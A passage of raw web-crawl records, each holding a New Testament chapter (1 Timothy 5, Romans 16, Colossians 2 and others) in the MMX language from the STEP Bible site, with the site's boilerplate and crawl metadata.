xa, nedi xopmen dinaklen tempanga. 13 Ketla nema ma noxo paase asilok nema mumu levempanga vetpes, naba epovo mun mi lugugu ne Moroa ga raba nema min, la mo lugugu i vung kimit bok nimi. 14 Nema ma epovo na lox aru nema mumu nimi, mila nema maga vot dom atnimi xusu mana tong asu Lagale Lavavang at ne Karisito rinimi. 15 La kopmen mana lox aru nema mumu leven gugu at leventaba vetpes. Ketla lavavara atnema do mo lunuunu atnemi na sisilok, la manaba lok bok buaang teven gugu xantubu atnimi. 16 La melemu ren nema maba vavang mi Lagale Lavavang to at levennep kangka vetpes i nemen paxalom basinge nemi, mila ma xopara na gugu at lengkot ua lentaba vetpes diga gugu vam go la mana lox aru nema mumu leven gugu leventaba vetpes digara lok pam i. 17 I ngan Lovoang Kaala i tong i xeretna,\n\"Do tara do na vara loklox aru, neni nak lox aru Leeme Silok ne Moroa.\" a\n18 Moroa xopmen na siam ka mo laradi ik lox aru axa i, ketla neni i siam ka mo laradi, Leeme Silok ne Moroa ik lox aru i.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.10","date":"2018-10-23T14:13:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516194.98\/warc\/CC-MAIN-20181023132213-20181023153713-00342.warc.gz","language":"mmx","language_score":0.9999136925,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999136924743652}","num_words":786,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 5\nLugugu At Ne Timoti Saparap Limixin Nuunu1 Do taradi mukun na lok laxakapmek, nemen uta paase lolos tin, ketla una vaase amulus tin ngan neni ne tamam. Una lox anares ka luvuraau maxat ngan ta luvutnetam. 2 la lavakin mukun ngan luvutnenam, la lovosono maxat ngan ta luvurinum, mi loklok i dadat aleng.\nLevelinga Ri Lavakin, Lavatlok Atdi Gara Met Pam3 Una lok ngangao at lempatnaa, kopmen teventaba na lok tatao di. 4 Do lanaa rixin i ruuna laxamdak mi laxaalik kopla luvuttubuno di, i lox avukat do dina lox epovo lugugu atnedi ri livisik li atnedi, la mumu na langas dina vorang ba loklok tatao at luvuttemen di mi luvutnen di la luvuttubuno di, atla ne Moroa i lok momo mi mo loklok. 5 Latkin do neni lanaa, la kopmen tara ri lok tatao i, neni nak lok li lodoxoma ren ti loklok tatao at ne Moroa rin, la na ngising amisix i at levenaleng kanimin la at levenaleng kangking. 6 Ketla lanaa no im taba amisik labantuxu ren ti loklok kapmek, neni ira met pam, keke i do neni move i rooro. 7 Una tong axasep limixin mi na levelinga, kusu kopmen tara noxo ven kaka tosoogong atnedi. 8 Ketla do tara xopmen na lok tatao avukat leventaba akmokso ren, neni ira sev apkap pam at lunuunu la neni i lok kakapmek tinotno ri laradi kopmen na nuunu.\nLubungnaa Lotu I Lok Tooro Di9 Nemen uta exes abeles tanaa ukeneng ti leexes at lubungnaa, do kovisi levenmaares teren na volo lavanna sangaun, la ni ga epot mene at leges atlok, 10 la lorooro ren i umsu mi leven gugu nunuan la lorooro ren ga lok keretna. Neni latkin loklok tatao avukat laxamdak mi laxaalik teren, la ni ga lok maraose mi limixin kadiong diga vot to at loogu ren, la ni ga lok levempanga nunuan tinedi limixin nuunu la ni ga lok tooro nedi diga xip tutu mi levenmumuat, la ga raba axap lorooro ren ti lok leven gugu nunuan.\n11 Ketla nemen uta lox abeles lovosono naa ukeneng ti leexes at lubungnaa, mila do levendoxoma atdi na ngaongao ri epot, dinaba repukus basinge ne Karisito; 12 la kerepmo diba lok kakapmek tinotno mila di los polo nom laxakaape atdi diga lox avor i. 13 La di lox arala ka box i xusu dina gosogos gamasa, la dinam simgu, ketla i lok kapmek tino bok atla di lox arala ka bok leretere mumu ri leventaba vetpes, la di lox angtang di mi larangtagap gamasa, la di tong levempanga xopmen na lox avukat. 14 Kuren la a vara i do nedi lovosono naa dina epot la dina ruuna madak, la dina lok tatao avukat levempanga ro xeneng at laraugu atnedi, kusu kopmen di noxo raba luvuttadi munepen minedik kusu di noxo vaase xakapmek tidik. 15 Mila leventaba lubungnaa dira rem gili su vam kusu dina mumu asu ne Satan.\n16 Ketla do tara tatkin, neni latkin nuunu la i ruuna tubungnaa ro at libibinat teren, neni na lok tatao avukat di la neni noxo lok li lumumuat mavana at lotu; atla lotu naba lok tatao mene nedi lubungnaa no dik pakes aleng tinotno.\n17 Luvuttadi amgomgo at lotu mo di lok leven gugu avukat ngan lubung amgomgo, i epovo do dina lok ka bok luunun mavana at luunun atnedi, nedi mene di gugu lolos mi lavavang la di anasa; 18 atla Lovoang Kaala i vaase xeretna;\n\"Nemen uta velegum lungusno at lubulumaxao, mo i rubut asu levempevem piao.\" a\nLa i lok bok keretna,\n\"Laradi gugu i epovo na lok ka luunun teren.\" b\n19 Nemen uta ronga res at levelinga at legesa radi i vaase asu i mumu laxakapmek at laradi mukun at lotu, ket do legepura kopla lavantun di vaase asu i, una ronga res teren. 20 Do tara atdi na lok taxakapmek, una vaase sox i ro melamgo at limixin, kusu dinaba marat.\n21 At lemeren ne Moroa la at ne Iesu Karisito la at lubung angelo melemelengan, a sing alolos u xusu una mumu asu na levelinga; nemen uta lox asilok taradi mavana at limixin axap la nemen uta lox asi tara at levempanga axap nenu u lox i.\n22 Nemen gat uta takas kusu una sa li lukngam to mavana at taradi ri lok lugugu at Leeme Silok, la nemen uta lok tooro tara mi laxakapmek teren, una lox adadat amisik lorooro ram.\n23 Nemen uta inin dan kusuk mun; ketla una inin levengkondan kakalik at lavaen kusu ri lok tooro labalam, mila uk meres amisik.\n24 Laxakapmek at leventaba i nemen saxaven mene, i epovo dik ataba ven kaka i; la nom laxakapmek atnedi imgomgo rinedi uto at loxot papaase; ketla laxakapmek at leventaba, taba ven ba ren melemu. 25 La kerepmo mun lentaba leven gugu nunuan i nemen saxaven, la mo leven gugu nunuan limixin kopmen dina ven i, naba nemen at lasaxaven.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Ti.5","date":"2018-10-19T18:39:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512421.5\/warc\/CC-MAIN-20181019170918-20181019192418-00426.warc.gz","language":"mmx","language_score":0.9999728203,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999728202819824}","num_words":953,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 16\nLevempapaase Loklok Momo1 Na levelinga ti vaase axasep nemi mi lara neinen dik laasen teren ne Poebe, la neni ga lok lugugu silok keneng at lotu at lemenemen Senkiria. 2 Mina seega rangarang i keneng at laasen at Leeme Silok, i epovo mi loklok at limixin at ne Moroa, la minabak lok tooro i at levempanga neni bak pakes tin; atla neni garak lok tooro vam buaang limixin, la nenia bok.\n3 A lox aonon lavapaase momo rak ti ne Pirikila mi ne Akuila, nedu lenasun duga gugu eburu minia xeneng at lugugu at ne Iesu Karisito, 4 la duga abelemes tinotno bok mi lorooro atdu ri lok tooro ia, la kopmen do nenia xusuk, ketla limixin axap bok at laraugu lotu atnedi kopmen di me Judaia. 5 Lavapaase momo bok tinedi dit pot buru ro at loogu atdu. Lavapaase momo bok ti lentangas orong tarak ne Epinitas, neni laradi avot at lenep Asia ga nuunu at ne Karisito. 6 Lavapaase momo bok ti ne Maria ga gugu lolos ti lok tooro nemi. 7 Lavapaase momo bok ti ne Endronikas mi ne Junias luradi me Judaia no dugak lox eburu minia ro at loxokoxo; la luvuttadi vavang diklen avukat nedu la nedu duga lok ngan luradi mumu asu ne Karisito avot tia. 8 Lavapaase momo bok tarak ti ne Apilietas lentangas tarak keneng at lurutu buru at Leeme Silok. 9 Lavapaase momo bok ti ne Eban laradi gugu bok tarak keneng at lugugu at ne Karisito la ti lentangas orong tarak ne Sitakis. 10 Lavapaase momo bok ti ne Apelis, ga lox asuusu i do luruburu ren mi ne Karisito i tu atmatkun. Lavapaase momo bok ti ne Aristabalas midi loxoetemen. 11 Lavapaase momo bok ti ne Erodian leeme me Judaia la ti luvutnetak at laasen at Leeme Silok dik lok at loogu at ne Nakiso. 12 Lavapaase momo bok tarak ti ne Taraipina mi ne Taraiposa nedu lutkin du gugu lugugu at ne Moroa la ti lentangas orong bok tarak ne Pesis neni latkin gak lok lugugu silok at Leeme Silok. 13 Lavapaase momo bok ti ne Rupas laradi i gugu avukat lugugu at Leeme Silok, la ti nenen bok no gak lok tatao ia ngan ta do ne nitna. 14 Lavapaase momo bok tarak ti ne Asinkritas, la ne Peligon, la ne Eramas, la ne Patrobas la ne Eemes, la nedi bok luvutnetak keneng at laasen at ne Karisito mo dik lox eburu minedi. 15 Lavapaase momo bok ti ne Pilologas mi ne Julia, ti ne Nerius bok mi neinen, la ti ne Olimpas bok eburu mi limixin axap at ne Moroa mo dik lox eburu minedi. 16 Mina eseega rangarang mi lenetnes i xaala. Limixin axap bok at laraugu lotu at ne Karisito di lox aonon lavapaase momo atnedi rinemi.\nLevempapaase Avit17 Luvutnetak mi luvurinuk, mo nga a sing nemi; minak lok tatao nemi basinge luvuttadi no dik lok do dinak lok levenekarakat, la dik lox antun lunuunu at limixin la nedi no dik lox abulubun leveloklox ase nemi migara lok kaka vam i; minak lok petpes basinge nedi. 18 Leventaba dik lok mo leveloklok, kopmen dina gugu ri Leeme Silok atnedik, ne Karisito, ketla di gugu mun tinedi xa. Levempapaase atnedi ik lox avukat tinotno eburu mi levendoxoma atnedi; kerepmo dik lox atdan kaka limixin, lunuunu atdi xopmen na lolos, kusu dina sar asoogong di. 19 Limixin axap digara ronga vam lorongtonga res atnimi saparap Lagale Lavavang, kuren la a momo aleng minemi. Ketla a vara i do minaklen leveloklox avukat, la mina ven kepe lavanga i lok kapmek.\n20 La ne Moroa laradi at lenmila, mo ma lixilik na but povorok ne Satan to maxopok at lengkangkedek atnimi.\nLetaba nabalamu at Leeme Silok atdik ne Iesu nak lox eburu minemi.\n21 Ne Timoti bok laradi gugu rak i lox aonon lavapaase momo ren tinemi; nedi mi ne Lusias, la ne Jeson, la ne Sosipata; nedi legesa vapaase rak boro Judaia.\n22 Nenia bok na ne Tetias, a ru katling ne Pol ti malagan na lovoang; ▼\n▼ Pol ga vaase i na levelinga ri ne Tetias la neni ga malagan i.a lox aonon lavapaase momo xeneng at laasen at Leeme Silok.\n23 Ne Gaius laradi no nema mak lok lotu ro at loogu ren i lox aonon lavapaase momo bok teren tinemi.\nLa ne Erastas bok laradi ik lok tatao lempilas at lemenemen silok eburu mi neton nedik ne Kuatas nedu du lox aonon bok lavapaase momo atnedu. 24 Letaba nabalamu at Leeme Silok atdik ne Iesu Karisito nabak lox eburu minemi axap. Tuturun.\nLisingising Loklox Axap25 Ata emi asu mi laasen at ne Moroa. Neni i epovo ri lox aru lolos lunuunu atnemi, mumu Lagale Lavavang nenia a vavang min. Ni Lagale Lavavang at ne Iesu Karisito, mo lavapaase asu at luruturun gak lok lipe at laxanmaares buaang. 26 Ketla amo nga, mo levelinga ruturun gara ru asuvos pam ti laxasep, keneng at levenmamalagan at luvuttadi vapaase alii; ne Moroa laradi xopmen taxavaxap teren ga vaase asu i xusu limixin at laranep silok axap dinabaklen i, la nedi axap dinaba nuunu ren la dinang tonga res teren. 27 Ata emi asu kusuk mun mi laasen at ne Moroa neni laradi ak leklen la leemi asu bok tin mumu lugugu at ne Iesu Karisito amisik la kopmen taxavaxap teren. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.16","date":"2018-10-21T07:42:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513804.32\/warc\/CC-MAIN-20181021073314-20181021094814-00358.warc.gz","language":"mmx","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999780654907227}","num_words":1024,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.253,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 71 Larapen tangas orong tarak. Na levelinga a tong pam i, ni levengkakaape ne Moroa ga lox i ridik; kuren la ata lox adadat dik basinge leveloklok kakapmek axap, mo i lox abilinga labantuxu la labaroonan atdik, la ata lok ka luruptuvuk i xaala, mi loklok ngangao atdik ti ne Moroa.\nLomomo At Ne Pol2 Lebelen nimi na mulus amlong ka nama; ma goxo lok tavanga xapmek ti tara, la ma goxo lox asongot tara, kopla ma gita xip paxat ka tavanga at teta. 3 Axo tong i na xusu ri lox amangan nimi, mila agara tong avot pam i rinimi do nemi mi nemen keneng at lempeve atnama, dola mana met kopla mana rooro. 4 Lunuunu rak i rem saga atnimi, a ruuna lusumsuma momo i umsu aleng mumu nimi. Kuren la a umsu mi lolos la keneng at na laxanmumuat a lok momo aleng.\n5 Se magat pas uto Masadonia, lorooro atnama goxo lok mamana, ketla limixin diga lox asongot nama at lengkot axap, la levenekarakat ga pubeles mu nama la lainmarat ga vot saparap nama mumu nedi limixin diga lok ka lunuunu maxat. 6 Ketla ne Moroa mo ik lox amenemen limixin bukbulu, ga lox amenemen nama mi lovotpot at ne Taitas saparap nema. 7 Kopmen at lovotpot mene ren, ketla at levempapaase axasep bok teren mumu levempapaase loklox alolos atnimi rin. Ga tong i rinama do mi vara aleng i do mina ven ia, la mi bulu mu box ia. La mi gagas kusu mina su auru ia; kuren la a momo aleng tinotno.\n8 Lovoang tarak aga malagan i rinimi ga lox abulu nimi, nia axo bulu mu box i. Avot be nia aga bulu mu i, ketla aklen i do mo lovoang ga lox abulu nimi at lentaba levenaleng mene nga. 9 Ketla monga nia a momo aleng, kopmen do mumu nga i mo nia aga lox abulu nimi, ketla a lok momo mila lainbulu atnimi ga vaxat pukus lorooro atnimi. La ne Moroa xa ga siam mi mo lainbulu xeneng atnimi, kuren la nema ma goxo lok tavanga xapmek tinimi. 10 Lainbulu ne Moroa i lok kaxar i, ni ik lok leretepukus keneng at leveve at laradi la im gomgo nga i at langas ti lorooro, la neni noxo bulu mu mo lainbulu. Ketla lainbulu mede at lavatbung menemen im taba lanmet. 11 Mina ven lempanga ne Moroa ga lox asuusu i mi na lainbulu atnimi ngan levereven kibis eburu mi lodoxoma ri vaase pe nimi la loklox aronga mumu laxapmek kantubu atnimi la lusumsuma avukat tinama la lurutu eburu minema la mi gagas ti raba songsongot nedi di lok leveloklok kakapmek. Keneng at nai leveloklok, miga lox asuusu axa nemi do mi goxo ruuna tosoogong keneng at na lekarakat. 12 Kerepmo la mo lovoang nia aga malagan i rinimi, a goxo malagan i mumu mo laradi ga lok laxapmek, kopla mo lara ga suma mo laxapmek; ketla aga malagan i ri lox axasev i rinimi, at lemeren ne Moroa, do lodoxoma liplivi atnimi mumu nama i lolos aleng.\n13 Kuren la mo lovoang aga malagan i rinimi ga lok nemi miga repukus, la maga lok momo at nai. La ma goxo momo xusuk mun at nai, ketla maga lok momo bok at lovotpot at ne Taitas saparap nama la mumu bok leveloklok nunuan miga lox amomo i min. 14 Gano aga tong i rin do nemi limixin avukat la miga lox asorun levelinga rak, la mi goxo lox amangan ia. Maga paase luruturun tinimi, la at na mun langas levempapaase loklox aurut atnama maga lox i ri ne Taitas, ira ravasu ruturun ta. 15 La mo labalamu ren tinimi i lolos aleng tinotno at levenaleng neni im doma su at lorongtonga res atnimi rin, la miga siam ka atnaasan tinotno i mi loklok ngangao i silok. 16 A momo aleng mila i epovo do ana nuunu saga rinotno atnimi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.7","date":"2018-10-18T07:55:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511744.53\/warc\/CC-MAIN-20181018063902-20181018085402-00400.warc.gz","language":"mmx","language_score":0.9998662472,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999866247177124}","num_words":796,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.249,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 21 Ana tong axasep nimi do nia a gugu lolos ti lok tooro nimi eburu mi limixin nuunu boro Lodisia eburu minedi bok kovisi dina epen etang minia. 2 Lavavara rak i lok keretna, lorooro atdi na lolos la diba ru buru mi labalamu ela kusu lorooro atdi ba umsu mi laxasep silok, mo i lok ngan lapnovos silok tidi. Ap mo mun langas nedi dibaklen lodomdoma lipe at ne Moroa, la mo lodomdoma lipe neni ne Karisito. 3 Neni mun lengki ti suang mo lodomdoma lipe, kusu limixin diba epovo dinaklen ka mo lodoxoma la lakleklen silok at ne Moroa. 4 A malagan na levelinga rinimi, kusu tara noxo xarang arup nimi mi tevelinga xaxarang, keke i do i reng nunuan mene nga. 5 Nia a tong i na rinimi mila nenia xopmen anak lox eburu minimi, ketla a nemen eburu minemi keneng at lodoxoma rak, la a momo do mi tu buru la mi tu tuxuruxun at lunuunu atnimi keneng at ne Karisito.\nKeke Mo Leventaangas Linga Kopmen Boro At Ne Moroa6 Nemi miga siam kaka ne Iesu Karisito ngan Leeme Silok atnimi, kuren la minat kis esogo eburu min. 7 Minam tebeng lolos teren la lunuunu atnimi na tu tuxuruxun teren kerekngan mo diga lox ase nimi min kuren. La mina umsu mi loklok ti tong loklox avukat ti ne Moroa.\n8 Mina lok tatao avukat nimi kusu teta noxo lox asoogong nimi mi leventetere xaxarang, kopmen tavasuun teren; mo lakleklen i laa boro at leveloklox ase at limixin mun la boro bok at leveloklok mede xopok at na lavatkangka, kopmen boro at ne Karisito.\n9 Lampenaxa at ne at Karisito i lok ngan mun ne Moroa; neni ga lox asuusu nom leveloklok de xopok at na lavatbung menemen ngan laradi. 10 La nemi bok miga lok ka vam nom leveloklok at ne Karisito, neni lamgomgo ri lubung angelo eburu mi limixin lolos atdi. 11 Nemi miga lok ka loklok katling at ne Karisito, kopmen mo loklok katling ua limixin di rivit kepe lengkontuxu at laxamdak lixilik atdi, ketla mo loklok katling at ne Karisito i ngan mira lok kepe vam lorooro maut mumu mun lugugu at ne Karisito. 12 Se nemi miga lok ka lesep susu, i lok ngan ta do miga vutup at lamaaut eburu mi ne Karisito la ap mo lesep susu bok nemi miga xatu kaxat amlong eburu mi ne Karisito keneng at lunuunu atnimi la lololos at ne Moroa, mo ga lox aroo xat ne Karisito basinge lanmet.\n13 Ganoxa leventoonan atnimi ga met, atla migak lok leveloklok kakapmek la mi goxovisi lok kepe lorooro maut, ketla ne Moroa ga sar asu nemi ri lorooro eburu mi ne Karisito. Moroa ga doxoma xepe leveloklok kakapmek axap atdik. 14 Neni ga lok kepe vam mo lovoang lolos eburu mi leventaangas linga ren mo ga paase axasep laxakapmek atdik; mo lovoang ga lok ngan lavanga loklok pe kantubu atnedik mi ne Moroa. Moroa ga lok kepe i at loxonaleng ne Iesu ga uu ro vana at laxaba. 15 La ne Moroa ga volo kepe laxalolos at laxantoonan kapmek la laxanamgomgo xaxarang keneng at lanmet at ne Karisito to at laxaba; neni ga lox asuusu i do dinaba lok kaka lainmangan silok.\nNemen Mita Mumu Asu Leventaangas Gamasa At Na Lavatkangka16 Kuren la ixok mokso do tara na ila mumu loklok atnimi mumu mo leveluxa mi anan i la levengkadan mi inin i; kopla mumu larapeluxa at ne Moroa kopla mumu larapeluxa loklok katling ti lagaaling i vot maxat kopla ti laaleng kaala. 17 Nom lempanga axap i ngan lamamau mun at lempanga mo ba vot melemu; ketla ne Karisito ni luruturun teren. 18 Ixok mokso do tara na tong i rinimi do mixo epovo kusu mina lok kaka leveloklox anarong at ne Moroa. Laradi xerepmo i lok poovo i do i lox asi aleng lorooro ren; i nua i do i ruuna laasen silok mila i lotu saparap lubungangelo la mumu bok levesilimet teren, ketla i ruuna loklok papavas la i mumu asu mene lodoxoma kopmen tavasuun teren boro at na lavatkangka. 19 La ira xap tim tebeng lolos ne Karisito, neni lavatlak at labantuxu. Karisito xa neni imgomgo nga na labantuxu, la labantuxu im tem saga mun at lavatlak, la mo do labantuxu na repes boro at lavatlak, neni ixo epovo rinotno na su maraanu.\n20 I lok ngan ta do nemi miga met eburu mi ne Karisito la miga sepmus basinge mo leventaangas at na lavatkangka. Tila ba nemi mi mumu asu i nom kerekngan limixin mede xopok? Mi mumu asu na levelinga keretna, 21 \"Nemen mita long tu at na. Nemen mita dem pinga i na. Nemen mita rebeng ka i na.\" 22 Na levenngas linga i tu katling levempanga gamasa mun la naba xap gamasa mene mila kopmen na laa boro at ne Moroa; nedi boro at lodoxoma at limixin mun. 23 Di ven tai mo leventaangas do i ruturun mila nedi di mumu asu i, di lotu amisik, la dik lok poovo i do di lox asi aleng lorooro atdi la dik lox asi aleng labantuxu atdi; ▼\n▼ Anai ni lotu xaxarang la diga lox i na lempanga ri lok poovo i do nedi mo luvuttadi nuunu ruturun.ketla mo leventaangas kopmen na lok tooro di kusu dina ke xepe leveloklok kakapmek at labantuxu.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Col.2","date":"2018-10-18T22:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512015.74\/warc\/CC-MAIN-20181018214747-20181019000247-00481.warc.gz","language":"mmx","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000057220458984}","num_words":939,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 4\nLevelinga Loklox Axap1 Luvutnetak mi luvurinuk. Mi ronga vam na levelinga rak; kuren la mina tu atmatkun at lorooro atnimi keneng at Leeme Silok. Larapen tangas orong tarak. A balamu aleng nimi la a sosoro aleng ti tong asuusu nimi ri limixin mila labalak i lok momo aleng mumu nimi.\n2 Iuodia la ne Sintike, nia a sing lolos numu, xusu muna mulus ti lok ngan leton keneng at Leeme Silok. 3 Laa vaase bok tu, lagale laradi; uga gugu nunuan eburu minia. Una lok tooro na lutkin, la una lok lumulum kantubu atdu kusu duba xis eburu, atla gano nedu duga gugu lolos ti tong asu Lagale Lavavang, eburu bok mi ne Klemen, la nedi vetpes bok digara gugu vam eburu minia, nom levenasen atnedi ira nemen pam at lubuk at lorooro at ne Moroa.\n4 Lomomo atnimi keneng at Leeme Silok na nemen amisik. A tong amu box i do mina momo. 5 Mina lox ase limixin axap mi loklok mulus mo i umsu at lorooro atnimi. Noxo lox abao la Leeme Silok naba vot. 6 Nemen mita bulu mu tempanga, ketla mina sing ne Moroa ri levempanga axap mik pakes tin, la at lorooro axap atnimi mina tong loklox avukat tin. 7 La lenmila at ne Moroa i volo lakleklen at luvuttadi, mo lenmila naba xubak pe lorooro axap atnimi xusu mina tu atmatkun keneng at ne Iesu Karisito.\n8 Ti lox axap levelinga rak, luvutnetak mi luvurinuk; mina suxa umsu lodoxoma atnimi mi levempanga nunuan la nom i lox asuusu leemi asu, levempanga mo i ruturun, loklok mokmokso la loklok dadat, la loklok ti balamu, la loklok ti lok ngangao at leventaba vetpes. 9 Mina lok mo levempanga nia aga lox ase vam nimi min la miga lok ka box i rak, at levempapaase la at loklok la at lugugu bok tarak. La ne Moroa nom im taba dik mi lenmila naba nemen eburu minimi.\nPol Ga Tong Avukat Ti Laramtaba10 Nia a lok momo aleng keneng at lorooro rak eburu mi Leeme Silok mumu mo laramtaba miga raba ia min. Gano loklok tooro atnimi ria ga xap ketla miga lok kaxat manga i. Aklen i do labalamu atnimi saparav ia goxo xap, ketla mi goxo lok epovo mene i, atla goxopmen tangas tinimi. 11 Nenia a tong i na, kopmen do nia anak pakes ti tevempanga; ketla nia a lok momo mun ti levempanga salai nia aruuna i. Mo do i buaang kopla ixo buaang, i lox avukat mun. 12 At leventaba levenaleng agak pakes la at leventaba levenaleng aga ruuna epovo. A xasep eburu at na luxonaleng. Nenia axo doxoma solo i do a nemen at lavakpakes kopla a ruuna laxampanga solo. Keke i do a roxo xopla a an mais, ketla nia a lok momo mun at levenaleng axap. 13 Nenia a epovo xusu ana lok levempanga axap mi lololos mun, ne Karisito im taba ia min.\n14 Ketla i lox avukat do miga lok tooro ia ap mo levenaleng mumuat ga vot saparav ia. 15 Nemi limixin boro Pilipai miklen avukar i dola nia aga on basinge lenep silok Masadonia ap mo levenaleng nia aga vavang avot mi Lagale Lavavang, la kopmen teventaba vetpes di goxo lok tooro ia, nemi xusuk migam taba ia. 16 Ap mo levenaleng nenia aga nemen pakpakes to Tesalonia, la miga lox aonon leveloklok tooro ria, kopmen at teges aleng mun, ketla amisik migak lox i. 17 At lorooro rak nia axo doma solo ri ruuna ka leventamtaba, ketla a vara i do ana ven bok tuunun tinimi mavana ap mo luunun mo i ngangais nimi ro vana. 18 Nia ara lok ka vam leventamtaba atnimi, no ne Epaprodaitas gap kiv i ria ude boro atnimi, la i volo mo levempanga agak pakes tin. Na leventamtaba i lok ngan leventamtaba somavak limixin di xotos i ri ne Moroa, la ni i sisiam kaka i la i sosoro rin. 19 Moroa rak naba raba nemi mi levempanga axap mik pakes tin, i epovo mi langsangan lapnovos keneng at ne Iesu Karisito.\n20 Leemi asu 